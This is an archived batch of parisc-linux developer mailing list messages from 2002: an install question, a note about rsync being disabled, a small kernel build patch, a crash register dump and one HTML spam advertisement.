Message-ID: <20020202141313.GE2884@sleepie.demon.co.uk>
References: <20020202151831.B26371@primare.xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621031 2377 80.91.229.3 (22 Nov 2014 01:50:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: DJ Tha Muggs <djmuggs@primare.xs4all.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 07:24:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D584482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Feb 2002 07:24:37 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 05F549E97E; Sat,  2 Feb 2002 14:13:13 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020202151831.B26371@primare.xs4all.nl>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13936

On Sat, Feb 02, 2002 at 03:18:31PM +0100, DJ Tha Muggs wrote:
> Hi,
> 
> I just started installing parisc-linux for the first time on my C3000.
> I Hooked up an SE SCSI CD-Rom to the narrow connector on the back.
> 
> The systems sees the CD-Rom and also is booting fine from this CD-Rom.
> After partitioning the Harddisk and mounting it, it is ready to install the kernel.
> When i do this it asks me for the installation medium, this is my CD-Rom where i booted it from, but it is not able to find it.
> 
> I went into the shell mode and did a DMESG, but i was not able to find my SCSI cd-rom in there :(
> 
> Can anyone tell what goes wrong and tell me how to fix this?

See the relevant entry on

<http://www.parisc-linux.org/release-0.9/errata-093.html>


Richard




From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Rsync...
Date: 02 Feb 2002 10:19:19 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <1012663159.7003.4098.camel@archimedes.localnetsolutions.com>
References: <20020202120256.U27172@lug-owl.de> 
	<20020202140147.C26868@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-4T+WVrt2NLkQ+bg4GVA7"
X-Trace: ger.gmane.org 1416621031 2380 80.91.229.3 (22 Nov 2014 01:50:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 08:19:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7FAA482B
	for <parisc-linux@parisc-linux.org>; Sat,  2 Feb 2002 08:19:32 -0700 (MST)
Original-Received: from user-119b1cf.biz.mindspring.com ([66.149.133.143] helo=archimedes.localnetsolutions.com)
	by tisch.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16X1wo-0006Np-00
	for parisc-linux@parisc-linux.org; Sat, 02 Feb 2002 10:19:22 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id g12FJJs26898;
	Sat, 2 Feb 2002 10:19:19 -0500
In-Reply-To: <20020202140147.C26868@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Evolution/1.0.1 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13937

--=-4T+WVrt2NLkQ+bg4GVA7
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I think that the rsync security and corruption bug were just fixed in a
recent update to v. 2.4.6.  The security hole was patched, but I'm
unclear about the repair of the corruption problem.

On Sat, 2002-02-02 at 09:01, Matthew Wilcox wrote:
> On Sat, Feb 02, 2002 at 12:02:56PM +0100, Jan-Benedict Glaw wrote:
> > Hi!
> >=20
> > For some time, there was rsync access to a checked-out version
> > of current CVS. This is gone recently, and I don't know why.
> > I'd really love to again use rsync for fetching sources
> > (and as you know, I'd also like to rsync the CVS repository
> > itself).
> >=20
> > Any chances?
>=20
> you may have noticed a certain amont of security-related kerfuffle around
> rsync recently.  until this is fixed and the data-corruption bugs are fix=
ed,
> rsync has been disabled on {ftp,www,cvs}.parisc-linux.org.  sorry.
>=20
> --=20
> Revolutions do not require corporate support.
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20
--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-4T+WVrt2NLkQ+bg4GVA7
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8XAN3YZCtw4KcbKcRArhWAJ9CIi2V7vELnHkd5BxpBORP12v1XQCgg8cY
E9Jeczcw92ng14OU3wQ8n2Y=
=1Xpq
-----END PGP SIGNATURE-----

--=-4T+WVrt2NLkQ+bg4GVA7--



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposed change to arch/parisc/Makefile and generation of offset.h
Date: Sat, 2 Feb 2002 08:44:06 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <20020202164406.GB604@tausq.org>
References: <20020202063408.GA604@tausq.org> <20020202140740.GD2884@sleepie.demon.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621031 2383 80.91.229.3 (22 Nov 2014 01:50:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 09:44:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15CB2482A
	for <parisc-linux@parisc-linux.org>; Sat,  2 Feb 2002 09:44:09 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id fscglaaa for parisc-linux@parisc-linux.org; Sat, 2 Feb 2002 09:44:06 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16X3Go-000527-00; Sat, 02 Feb 2002 08:44:06 -0800
Content-Disposition: inline
In-Reply-To: <20020202140740.GD2884@sleepie.demon.co.uk>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13938

> Sounds like a reasonable compromise to me.  Only snag is that if you
> build a 32 bit kernel, make clean, change config for a 64 bit kernel,
> then make again, you will build a 64 bit kernel with the wrong offset.h.
> 
> Would be nice if 'make' could verify that the offset.h ifile was correct,
> without changing it (and so triggering dependencies).  If it could do
> that, it could regenerate it only if it was wrong.

I think it's reasonable to expect people to manually do a full 'make
dep' when switching. I'm not sure offset.h is the only thing that'll
break if they don't. 

With that said, sanity checking offset.h is never a bad thing. How about
if I also add this so that the build will complain loudly if you used
the wrong one?

Index: arch/parisc/tools/offset.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/tools/offset.c,v
retrieving revision 1.16
diff -u -p -r1.16 offset.c
--- arch/parisc/tools/offset.c	2001/10/04 11:05:47	1.16
+++ arch/parisc/tools/offset.c	2002/02/02 16:43:01
@@ -39,6 +39,15 @@ linefeed;
 text("#ifndef _PARISC_OFFSET_H");
 text("#define _PARISC_OFFSET_H");
 linefeed;
+#ifdef __LP64__
+text("#ifndef __LP64__");
+text("#error offset.h was generated for 64-bit build; did you do 'make dep'?");
+#else
+text("#ifdef __LP64__");
+text("#error offset.h was generated for 32-bit build; did you do 'make dep'?");
+#endif
+text("#endif");
+linefeed;
 
 void output_task_ptreg_defines(void)
 {



randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposed change to arch/parisc/Makefile and generation of offset.h
Date: Sat, 2 Feb 2002 16:42:33 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20020202164233.GH2884@sleepie.demon.co.uk>
References: <20020202063408.GA604@tausq.org> <20020202140740.GD2884@sleepie.demon.co.uk> <20020202164406.GB604@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621032 2389 80.91.229.3 (22 Nov 2014 01:50:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 09:53:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8404482F
	for <parisc-linux@parisc-linux.org>; Sat,  2 Feb 2002 09:53:56 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 7FF9F9E97E; Sat,  2 Feb 2002 16:42:33 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020202164406.GB604@tausq.org>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13939

On Sat, Feb 02, 2002 at 08:44:06AM -0800, Randolph Chung wrote:
> With that said, sanity checking offset.h is never a bad thing. How about
> if I also add this so that the build will complain loudly if you used
> the wrong one?

Looks good to me.

Richard



From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Crisha Wenston" <reply@trafficbbs.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I have visited your business page and noticed that ...
Date: Sun, 3 Feb 2002 04:12:24 +0800
Lines: 110
Approved: news@gmane.org
Message-ID: <20020202191010.DCB77482A@dsl2.external.hp.com>
Reply-To: "Crisha Wenston" <crisha@trafficbbs.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/html;
X-Trace: ger.gmane.org 1416621032 2394 80.91.229.3 (22 Nov 2014 01:50:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 12:10:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from TIANTANG160 (unknown [211.101.236.160])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCB77482A
	for <parisc-linux@parisc-linux.org>; Sat,  2 Feb 2002 12:10:10 -0700 (MST)
X-Priority: 3
X-Library: SeekerCenter.com, Inc.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13940

<HTML><HEAD><TITLE></TITLE>
<STYLE type=text/css>TD {
	FONT-SIZE: 12px
}
P {
	FONT-SIZE: 12px
}
LI {
	FONT-SIZE: 12px
}
INPUT {
	FONT-SIZE: 12px
}
SELECT {
	FONT-SIZE: 12px
}
</STYLE>

<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<META content="MSHTML 5.00.2920.0" name=GENERATOR></HEAD>
<BODY bgColor=#cccccc leftMargin=0 text=#000000 topMargin=0 marginheight="0" 
marginwidth="0">
<TABLE bgColor=#ffffff border=0 cellPadding=0 cellSpacing=0 width=600>
  <TBODY>
  <TR>
    <TD height=55 width=113><IMG height=140 
      src="http://image.trafficbbs.com/meiyuan.gif" width=100></TD>
    <TD height=55>
      <TABLE border=0 cellPadding=0 cellSpacing=0 width="100%">
        <TBODY>
        <TR>
          <TD><B><FONT face="Arial, Helvetica, sans-serif" size=2><IMG 
            height=18 src="http://image.trafficbbs.com/type_d.gif" width=23>o you 
            want to get maximum exposure for your website? </FONT></B></TD></TR>
        <TR>
          <TD><B><FONT face="Arial, Helvetica, sans-serif" size=2><IMG 
            height=18 src="http://image.trafficbbs.com/type_a.gif" width=26>re you 
            trying to introduce or sell your new product? </FONT></B></TD></TR>
        <TR>
          <TD><B><FONT face="Arial, Helvetica, sans-serif" size=2><IMG 
            height=18 src="http://image.trafficbbs.com/type_a.gif" width=26>re you 
            planning to present your new service or technology?</FONT></B></TD></TR>
        <TR>
          <TD><B><FONT face="Arial, Helvetica, sans-serif" size=2><IMG 
            height=18 src="http://image.trafficbbs.com/type_d.gif" width=23>o you 
            want to learn instant info about new service?</FONT></B></TD></TR>
        <TR>
          <TD><B><FONT face="Arial, Helvetica, sans-serif" size=2><IMG 
            height=18 src="http://image.trafficbbs.com/type_h.gif" width=32>ave you 
            got enough time, energy and cost to spread your idea? 
        </FONT></B></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE bgColor=#514fa3 border=0 cellPadding=0 cellSpacing=0 width=600>
  <TBODY>
  <TR>
    <TD vAlign=top width=21>&nbsp;</TD>
    <TD height=227 width=303>
      <TABLE border=0 cellPadding=0 cellSpacing=0 width="100%">
        <TBODY>
        <TR>
          <TD><FONT color=#ffffff face="Verdana, Arial, Helvetica, sans-serif" 
            size=2><BR>Hello,<BR><BR>You may have spent much on lots of ways to 
            achieve these - search engine registrations, website promotions, 
            press release, email sending Here Traffic BBS presents you a unique 
            method economically and professionally converting a PC into personal 
            message distribution center! Traffic BBS assists you to post your 
            message or ad to over <B>12,000+</B> message boards on the web 
            worldwide. Along with a hyperlink to your website or email address, 
            a message of your business, product, service or offer will be 
            promptly submitted to targeted bulletin boards. You can expect 
            instant response! <!--      For more details please go to <a href=http://www.trafficbbs.com target=_blank><font color=#ffffff>Trafficbbs.com</a>.--></FONT>
            <P><FONT color=#ffffff face="Verdana, Arial, Helvetica, sans-serif" 
            size=2>Get your business, service, product or offer seen! 
</FONT></P>
            <P><FONT color=#ffffff face="Verdana, Arial, Helvetica, sans-serif" 
            size=2>Best Regards,<BR>Crisha Wenston<BR>Sales &amp; Marketing 
            <BR><A href="http://www.trafficbbs.com/" target=_blank><FONT 
            color=#ffffff>www.trafficbbs.com</A> 
      </FONT></P></FONT></TD></TR></TBODY></TABLE></TD>
    <TD vAlign=top>
      <TABLE border=0 cellPadding=0 cellSpacing=0>
        <TBODY>
        <TR>
          <TD align=right background="http://image1.trafficbbs.com/bbs160/1/5/bbs394.jpg" height=220 vAlign=top width=275>
          <A href='http://www.parisc-linux.org' target=_blank><IMG height=227 border=0 src="http://image.trafficbbs.com/image_kuang.gif" width=275></A></TD></TR>
        <TR height="100%" width="100%">
          <TD align=middle vAlign=center><BR><BR><BR><BR>
            <FORM action=http://www.trafficbbs.com method=post target=_blank><INPUT type=submit value="More Infomation ..."></FORM></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE bgColor=#514fa3 border=0 cellPadding=0 cellSpacing=0 width=600>
  <TBODY>
  <TR>
    <TD vAlign=top width=21>&nbsp;</TD>
    <TD vAlign=top><FONT color=#ffffff 
      face="Verdana, Arial, Helvetica, sans-serif" size=2>
      <P><BR></P></FONT></TD></TR></TBODY></TABLE>
<TABLE bgColor=#ffffff border=0 cellPadding=0 cellSpacing=0 width=600>
  <TBODY>
  <TR>
    <TD height=54 vAlign=top width=21>&nbsp;</TD>
    <TD height=54 vAlign=bottom width=222><FONT color=#ffffff size=2><IMG 
      height=41 src="http://image.trafficbbs.com/logo.gif" width=225> </FONT></TD>
    <TD height=54 vAlign=bottom width=357>&nbsp;</TD></TR>
  <TR>
    <TD height=40 vAlign=top width=21>&nbsp;</TD>
    <TD align=right height=40>&nbsp;</TD>
    <TD height=40><FONT color=#000000 
      face="Verdana, Arial, Helvetica, sans-serif" size=1>Copy right&copy;2001 , 
      TrafficBBS&#8482;All Rights Reserved.<BR>TrafficBBS&#8482;is a trademark of 
      TrafficBBS.COM inc.</FONT></TD></TR></TBODY></TABLE></BODY></HTML>



From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PIM after c3k crash w/ VisEG PCI card
Date: Sat, 2 Feb 2002 20:06:55 +0100
Lines: 225
Approved: news@gmane.org
Message-ID: <200202022006.55581.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_JF6XHCS1PKLM6GA59IUG"
X-Trace: ger.gmane.org 1416621032 2397 80.91.229.3 (22 Nov 2014 01:50:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  2 12:12:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id EE504482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Feb 2002 12:12:33 -0700 (MST)
Original-Received: (qmail 22647 invoked by uid 0); 2 Feb 2002 19:12:31 -0000
Original-Received: from pd9e084a7.dip.t-dialin.net (HELO P100) (217.224.132.167)
  by mail.gmx.net (mp004-rz3) with SMTP; 2 Feb 2002 19:12:31 -0000
X-Mailer: KMail [version 1.3.9]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13941

--------------Boundary-00=_JF6XHCS1PKLM6GA59IUG
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit

Hi all,

the attached file shows the PIM of a 64bit kernel after my 
machine crashed while trying to initialize the STI with a 
VisEG PCI card in PCI slot 2. So it's the same problem
as with a 32bit kernel.

Hopefully/Maybe this log may be usefull for someone of 
you helping me to debug this problem ?

TIA,
Helge



--------------Boundary-00=_JF6XHCS1PKLM6GA59IUG
Content-Type: text/plain;
  charset="us-ascii";
  name="hpmc.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="hpmc.txt"

pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp = 
  Sat Feb  2 18:48:51 GMT 2002    (20:02:02:02:18:48:51)

HPMC Chassis Codes = 2cbf0  2500b  27821  2cbf4  2cbfc  

General Registers 0 - 31
00-03   0000000000000000  ffffffffffffffff  00000000001072a0  00000000004c5240
04-07   000000007fb70da8  00000000fa100000  00000000fa380000  00000000003376c8
08-11   0000000010494740  00000000000000c1  0000000010494740  000000001040084c
12-15   0000000010494740  00000000fb000000  0000000010494740  00000000f0400004
16-19   0000000010494740  00000000f000017c  0000000010494740  000000000804000e
20-23   00000000f0000174  000000008fb70ef0  0000000010494740  00000000004c5240
24-27   000000007fb70da8  00000000fa380000  00000000000000f0  00000000103ebd20
28-31   0000000000496788  0000000000000038  0000000000494958  0000000000000000

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  00000000000000c0  000000000000003f
12-15   0000000000000000  0000000000000000  0000000000104000  ffffffffffffffff
16-19   0000001c8128124b  0000000000000000  000000007fb31878  0000000048c20008
20-23   00000000a627ffe8  c0000000e0380004  000000ff0000ff08  8000000000000000
24-27   0000000000380000  0000000000380000  00000000ffffffff  00000000ffffffff
28-31   00000000ffffffff  00000000ffffffff  000000008fb70000  0000000010480000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000007fb3187c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fffa380004
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   00003d091037f038  000000788fb70000  00000000001c9c38  000000000800000f
08-11   00000000103ebd20  00000000ffffffff  00000000103ebd20  0000000010474e88
12-15   0000000010374cf8  0000000000000001  000000001016c2c8  000000000804000e
16-19   000000001037f038  0000000000000002  0000000000000002  000000001040084c
20-23   000000000804000e  00000000000000c1  0000000000000000  0000000000000000
24-27   834e0b5f0800000f  00000000103ebd20  00000000103ebd20  0000000000000000
28-31   0000000000000802  0000000000000000  0000000010158288  0000000000000002

<Press any key to continue (q to quit)> 


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81045028000000
Available Memory             = 0x0000000080000000
CPU Diagnose Register 2      = 0x0203000000802004
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0xaf115ebd36f73fff
Read Short LOG               = 0xc1a0f0fffa380004
ERROR_STATUS                 = 0x0000000000500050
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000000100000442f
MEM_SYND_CORR                = 0x8c008c0000008c00
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffff0a060200


HPMC PIM Analysis Information:

Timestamp = 
  Sat Feb  2 18:48:51 GMT 2002    (20:02:02:02:18:48:51)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/6/2/0 (PCI slot 2).


Memory/IO Controller Error Analysis Information:

There were multiple correctable memory errors.  See 'Memory Error Log Info'.

<Press any key to continue (q to quit)> 

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
